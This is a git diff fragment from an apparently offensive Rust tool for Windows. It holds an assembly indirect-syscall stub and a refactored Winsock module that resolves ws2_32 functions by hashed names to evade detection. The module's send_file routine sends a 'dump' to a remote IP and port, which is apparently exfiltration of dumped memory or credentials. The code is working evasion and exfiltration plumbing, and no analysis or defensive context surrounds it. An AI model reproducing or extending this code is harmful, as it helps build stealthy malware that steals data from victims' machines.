+isyscall: + mov [rsp - 0x8], rsi + mov [rsp - 0x10], rdi + mov [rsp - 0x18], r12 + + xor r10, r10 + mov rax, rcx + mov r10, rax + + mov eax, ecx + + mov r12, rdx + mov rcx, r8 + + mov r10, r9 + mov rdx, [rsp + 0x28] + mov r8, [rsp + 0x30] + mov r9, [rsp + 0x38] + + sub rcx, 0x4 + jle skip + + lea rsi, [rsp + 0x40] + lea rdi, [rsp + 0x28] + + rep movsq +skip: + mov rcx, r12 + + mov rsi, [rsp - 0x8] + mov rdi, [rsp - 0x10] + mov r12, [rsp - 0x18] + + jmp rcx +"# +); + +extern "C" { + pub fn _start(); +} + +#[cfg(not(feature = "debug"))] +#[macro_export] +macro_rules! debug_println { + ($msg:expr) => {}; + ($msg:expr, $val:expr) => {}; + ($msg:expr, $val:expr, $as_hex:expr) => {}; +} diff --git a/src/remote/winsock.rs b/src/remote/winsock.rs index f644059..42f1bc1 100644 --- a/src/remote/winsock.rs +++ b/src/remote/winsock.rs @@ -1,21 +1,18 @@ -#[cfg(feature = "verbose")] -use libc_print::libc_println; - -use alloc::ffi::CString; -use alloc::vec::Vec; - use core::{ ffi::c_void, mem::{transmute, zeroed}, ptr::{null, null_mut}, - sync::atomic::{AtomicBool, Ordering}, }; -use crate::common::ldrapi::ldr_function; -use crate::ntapi::def::UnicodeString; -use crate::ntapi::g_instance::instance; +use alloc::{ffi::CString, vec::Vec}; -use crate::debug_println; +use crate::{ + common::ldrapi::ldr_function, debug_println, instance::get_instance, + native::ntdef::UnicodeString, +}; + +#[allow(non_camel_case_types)] +pub type SOCKET = usize; // Data structures for Winsock #[repr(C)] @@ -60,6 +57,22 @@ pub struct AddrInfo { pub ai_next: *mut AddrInfo, } +#[allow(non_camel_case_types)] +#[repr(C)] +#[derive(Clone, Copy)] +pub struct FD_SET { + pub fd_count: u32, + pub fd_array: [SOCKET; 64], +} + +#[allow(non_camel_case_types)] +#[repr(C)] +#[derive(Clone, Copy)] +pub struct TIMEVAL { + pub tv_sec: i32, + pub tv_usec: i32, +} + // Define function types for Winsock functions type WSAStartupFunc = unsafe extern "system" fn(wVersionRequested: u16, lpWsaData: *mut WsaData) -> i32; @@ -79,9 +92,18 @@ type GetAddrInfoFunc = unsafe extern "system" fn( ) -> i32; type FreeAddrInfoFunc = unsafe extern "system" fn(res: *mut AddrInfo); +type Ioctlsocket = unsafe extern "system" fn(s: SOCKET, cmd: i32, argp: *mut u32) -> i32; + +type Select = unsafe extern "system" fn( + nfds: i32, + readfds: *mut FD_SET, + writefds: *mut FD_SET, + exceptfds: *mut FD_SET, + timeout: *mut TIMEVAL, +) -> i32; + type WSAGetLastError = unsafe extern "system" fn() -> i32; -// Structure to hold function pointers pub struct Winsock { pub wsa_startup: WSAStartupFunc, pub wsa_cleanup: WSACleanupFunc, @@ -94,11 +116,12 @@ pub struct Winsock { pub htons: HtonsFunc, pub getaddrinfo: GetAddrInfoFunc, pub freeaddrinfo: FreeAddrInfoFunc, + pub ioctlsocket: Ioctlsocket, + pub select: Select, pub wsa_get_last_error: WSAGetLastError, } impl Winsock { - // Function to initialize the Winsock structure with null values pub fn new() -> Self { Winsock { wsa_startup: unsafe { core::mem::transmute(core::ptr::null::()) }, @@ -112,6 +135,8 @@ impl Winsock { htons: unsafe { core::mem::transmute(core::ptr::null::()) }, getaddrinfo: unsafe { core::mem::transmute(core::ptr::null::()) }, freeaddrinfo: unsafe { core::mem::transmute(core::ptr::null::()) }, + ioctlsocket: unsafe { core::mem::transmute(core::ptr::null::()) }, + select: unsafe { core::mem::transmute(core::ptr::null::()) }, wsa_get_last_error: unsafe { core::mem::transmute(core::ptr::null::()) }, @@ -119,41 +144,31 @@ impl Winsock { } } -// Global variable to store Winsock functions -static mut WINSOCK_FUNCS: Option = None; -// Atomic variable to track if Winsock functions have been initialized -static INIT_WINSOCKS: AtomicBool = AtomicBool::new(false); - -/// Initializes Winsock functions. -/// -/// This function dynamically loads the Winsock functions from the "ws2_32.dll" library. -/// It ensures that the functions are loaded only once using atomic operations. -/// The function does not return any values. pub fn init_winsock_funcs() { unsafe { - if !INIT_WINSOCKS.load(Ordering::Acquire) { - // Constants representing hash values of Winsock function names - pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3; - pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8; - pub const SOCKET_DBJ2: usize = 0xcf36c66e; - pub const CONNECT_DBJ2: usize = 0xe73478ef; - pub const SEND_DBJ2: usize = 0x7c8bc2cf; - pub const RECV_DBJ2: usize = 0x7c8b3515; - pub const CLOSESOCKET_DBJ2: usize = 0x185953a4; - pub const INET_ADDR_DBJ2: usize = 0xafe73c2f; - pub const HTONS_DBJ2: usize = 0xd454eb1; - pub const GETADDRINFO_DBJ2: usize = 0x4b91706c; - pub const FREEADDRINFO_DBJ2: usize = 0x307204e; - pub const WSAGETLASTERROR_H: usize = 0x9c1d912e; + pub const WSA_STARTUP_DBJ2: usize = 0x142e89c3; + pub const WSA_CLEANUP_DBJ2: usize = 0x32206eb8; + pub const SOCKET_DBJ2: usize = 0xcf36c66e; + pub const CONNECT_DBJ2: usize = 0xe73478ef; + pub const SEND_DBJ2: usize = 0x7c8bc2cf; + pub const RECV_DBJ2: usize = 0x7c8b3515; + pub const CLOSESOCKET_DBJ2: usize = 0x185953a4; + pub const INET_ADDR_DBJ2: usize = 0xafe73c2f; + pub const HTONS_DBJ2: usize = 0xd454eb1; + pub const GETADDRINFO_DBJ2: usize = 0x4b91706c; + pub const FREEADDRINFO_DBJ2: usize = 0x307204e; + pub const IOCTLSOCKET_H: usize = 0xd5e978a9; + pub const SELECT_H: usize = 0xce86a705; + pub const WSAGETLASTERROR_H: usize = 0x9c1d912e; - let dll_name = "ws2_32.dll"; - let mut ws2_win32_dll_unicode = UnicodeString::new(); - let utf16_string: Vec = dll_name.encode_utf16().chain(Some(0)).collect(); - ws2_win32_dll_unicode.init(utf16_string.as_ptr()); + let mut ws2_win32_dll_unicode = UnicodeString::new(); + let utf16_string: Vec = "ws2_32.dll".encode_utf16().chain(Some(0)).collect(); + ws2_win32_dll_unicode.init(utf16_string.as_ptr()); - let mut ws2_win32_handle: *mut c_void = null_mut(); + let mut ws2_win32_handle: *mut c_void = null_mut(); - (instance().ntdll.ldr_load_dll)( + if let Some(instance) = get_instance() { + (instance.ntdll.ldr_load_dll)( null_mut(), null_mut(), ws2_win32_dll_unicode, @@ -166,7 +181,6 @@ pub fn init_winsock_funcs() { let ws2_32_module = ws2_win32_handle as *mut u8; - // Resolve function addresses using hashed names let wsa_startup_addr = ldr_function(ws2_32_module, WSA_STARTUP_DBJ2); let wsa_cleanup_addr = ldr_function(ws2_32_module, WSA_CLEANUP_DBJ2); let socket_addr = ldr_function(ws2_32_module, SOCKET_DBJ2); @@ -178,76 +192,57 @@ pub fn init_winsock_funcs() { let htons_addr = ldr_function(ws2_32_module, HTONS_DBJ2); let getaddrinfo_addr = ldr_function(ws2_32_module, GETADDRINFO_DBJ2); let freeaddrinfo_addr = ldr_function(ws2_32_module, FREEADDRINFO_DBJ2); + let ioctlsocket_addr = ldr_function(ws2_32_module, IOCTLSOCKET_H); + let select_addr = ldr_function(ws2_32_module, SELECT_H); let wsa_get_last_error_addr = ldr_function(ws2_32_module, WSAGETLASTERROR_H); - // Initialize Winsock functions - let mut winsock_functions = Winsock::new(); - winsock_functions.wsa_startup = transmute(wsa_startup_addr); - winsock_functions.wsa_cleanup = transmute(wsa_cleanup_addr); - winsock_functions.socket = transmute(socket_addr); - winsock_functions.connect = transmute(connect_addr); - winsock_functions.send = transmute(send_addr); - winsock_functions.recv = transmute(recv_addr); - winsock_functions.closesocket = transmute(closesocket_addr); - winsock_functions.inet_addr = transmute(inet_addr_addr); - winsock_functions.htons = transmute(htons_addr); - winsock_functions.getaddrinfo = transmute(getaddrinfo_addr); - winsock_functions.freeaddrinfo = transmute(freeaddrinfo_addr); - winsock_functions.wsa_get_last_error = transmute(wsa_get_last_error_addr); - - // Store the functions in the global variable - WINSOCK_FUNCS = Some(winsock_functions); - - // Mark Winsock functions as initialized - INIT_WINSOCKS.store(true, Ordering::Release); + instance.winsock.wsa_startup = transmute(wsa_startup_addr); + instance.winsock.wsa_cleanup = transmute(wsa_cleanup_addr); + instance.winsock.socket = transmute(socket_addr); + instance.winsock.connect = transmute(connect_addr); + instance.winsock.send = transmute(send_addr); + instance.winsock.recv = transmute(recv_addr); + instance.winsock.closesocket = transmute(closesocket_addr); + instance.winsock.inet_addr = transmute(inet_addr_addr); + instance.winsock.htons = transmute(htons_addr); + instance.winsock.getaddrinfo = transmute(getaddrinfo_addr); + instance.winsock.freeaddrinfo = transmute(freeaddrinfo_addr); + instance.winsock.ioctlsocket = transmute(ioctlsocket_addr); + instance.winsock.select = transmute(select_addr); + instance.winsock.wsa_get_last_error = transmute(wsa_get_last_error_addr); } } } -/// Gets the Winsock functions. -/// -/// This function ensures the Winsock functions are initialized and returns a reference to them. -/// If the functions are not already initialized, it will initialize them first. -/// -/// # Returns -/// * `&'static Winsock` - A reference to the initialized Winsock functions. -pub fn get_winsock() -> &'static Winsock { - init_winsock_funcs(); - return unsafe { WINSOCK_FUNCS.as_ref().unwrap() }; -} - -#[allow(non_camel_case_types)] -pub type SOCKET = usize; - -/// Cleans up the Winsock library. -/// -/// This function cleans up the Winsock library, releasing any resources that were allocated. -/// This function does not return any values. -pub fn cleanup_winsock(sock: SOCKET) { - unsafe { - (get_winsock().closesocket)(sock); - (get_winsock().wsa_cleanup)(); - } -} - /// Initializes the Winsock library for network operations on Windows. /// Returns 0 on success, or the error code on failure. pub fn init_winsock() -> i32 { unsafe { let mut wsa_data: WsaData = core::mem::zeroed(); - let result = (get_winsock().wsa_startup)(0x0202, &mut wsa_data); + let result = (get_instance().unwrap().winsock.wsa_startup)(0x0202, &mut wsa_data); if result != 0 { - return (get_winsock().wsa_get_last_error)(); + return (get_instance().unwrap().winsock.wsa_get_last_error)(); } result } } +/// Cleans up the Winsock library. +/// +/// This function cleans up the Winsock library, releasing any resources that were allocated. +/// This function does not return any values. +pub fn cleanup_winsock(sock: SOCKET) { + unsafe { + (get_instance().unwrap().winsock.closesocket)(sock); + (get_instance().unwrap().winsock.wsa_cleanup)(); + } +} + /// Creates a new TCP socket for network communication. /// Returns the socket descriptor (SOCKET) or an error code on failure. pub fn create_socket() -> SOCKET { unsafe { - (get_winsock().socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP + (get_instance().unwrap().winsock.socket)(2, 1, 6) // AF_INET, SOCK_STREAM, IPPROTO_TCP } } @@ -261,10 +256,15 @@ pub fn resolve_hostname(hostname: &str) -> u32 { hints.ai_socktype = 1; // SOCK_STREAM let mut res: *mut AddrInfo = null_mut(); - let status = (get_winsock().getaddrinfo)(hostname_cstr.as_ptr(), null(), &hints, &mut res); + let status = (get_instance().unwrap().winsock.getaddrinfo)( + hostname_cstr.as_ptr(), + null(), + &hints, + &mut res, + ); if status != 0 { - return (get_winsock().wsa_get_last_error)() as u32; + return (get_instance().unwrap().winsock.wsa_get_last_error)() as u32; } let mut ip_addr: u32 = 0; @@ -281,7 +281,7 @@ pub fn resolve_hostname(hostname: &str) -> u32 { addr_info_ptr = addr_info.ai_next; } - (get_winsock().freeaddrinfo)(res); + (get_instance().unwrap().winsock.freeaddrinfo)(res); ip_addr } } @@ -299,34 +299,45 @@ pub fn connect_socket(sock: SOCKET, addr: &str, port: u16) -> i32 { let resolve_addr = resolve_hostname(addr); let mut sockaddr_in: SockAddrIn = core::mem::zeroed(); sockaddr_in.sin_family = 2; // AF_INET - sockaddr_in.sin_port = (get_winsock().htons)(port); + sockaddr_in.sin_port = (get_instance().unwrap().winsock.htons)(port); sockaddr_in.sin_addr.s_addr = resolve_addr; let sockaddr = &sockaddr_in as *const _ as *const SockAddr; - let result = - (get_winsock().connect)(sock, sockaddr, core::mem::size_of::() as i32); + let result = (get_instance().unwrap().winsock.connect)( + sock, + sockaddr, + core::mem::size_of::() as i32, + ); if result != 0 { - return (get_winsock().wsa_get_last_error)(); + return (get_instance().unwrap().winsock.wsa_get_last_error)(); } result } } -/// Sends a request through a socket. +/// Sends data through a socket. /// -/// This function sends a request through the specified socket. -/// It returns a `Result` indicating whether the send operation was successful or not. +/// This function sends a specified byte array through the provided socket. +/// It returns an `i32`, where 0 indicates success, and any other value +/// represents the error code returned by `wsa_get_last_error`. /// /// # Arguments /// * `sock` - The socket descriptor. -/// * `request` - The request data to be sent. -pub fn send_request(sock: SOCKET, request: &[u8]) -> i32 { +/// * `data` - The data to be sent. +/// +/// # Returns +/// * `i32` - 0 on success, or the error code on failure. +pub fn send_data(sock: SOCKET, data: &[u8]) -> i32 { unsafe { - let result = - (get_winsock().send)(sock, request.as_ptr() as *const i8, request.len() as i32, 0); + let result = (get_instance().unwrap().winsock.send)( + sock, + data.as_ptr() as *const i8, + data.len() as i32, + 0, + ); if result != 0 { - return (get_winsock().wsa_get_last_error)(); + return (get_instance().unwrap().winsock.wsa_get_last_error)(); } result } @@ -343,8 +354,9 @@ pub fn send_file(data: Vec, ip: &str, port: u16) { let wsa_init_result = init_winsock(); if wsa_init_result != 0 { debug_println!( - "[-] Failed to initialize Winsock with error: {}", - wsa_init_result + "[-] Failed to initialize Winsock with error: ", + wsa_init_result as usize, + false ); return; } @@ -352,36 +364,35 @@ pub fn send_file(data: Vec, ip: &str, port: u16) { // Create a socket. let sock = create_socket(); if sock == usize::MAX { - unsafe { - let _error = (get_winsock().wsa_get_last_error)(); - debug_println!("[-] Failed to create socket. Winsock error: {}", _error); - return; - } + debug_println!( + "[-] Failed to create socket with error: ", + unsafe { (get_instance().unwrap().winsock.wsa_get_last_error)() as usize }, + false + ); + return; } // Connect the socket to the IP and port. let connect_result = connect_socket(sock, ip, port); if connect_result != 0 { debug_println!( - "[-] Failed to connect socket to {}:{} with error: {}", - ip, - port, - connect_result + "[-] Failed to connect socket with error: ", + connect_result as usize, + false ); cleanup_winsock(sock); return; } // Send the data. - let send_result = send_request(sock, &data); + let send_result = send_data(sock, &data); // Check if sending the file was successful. if send_result != 0 { debug_println!( - "[-] Failed to send data to {}:{} with error: {}", - ip, - port, - send_result + "[-] Failed to send data to remote host with error code: ", + send_result as usize, + false ); cleanup_winsock(sock); return; @@ -390,5 +401,5 @@ pub fn send_file(data: Vec, ip: &str, port: u16) { // Close the socket. cleanup_winsock(sock); - debug_println!("[+] Dump sent successfully to remote host"); + debug_println!("[+] Dump sent successfully to remote host!"); }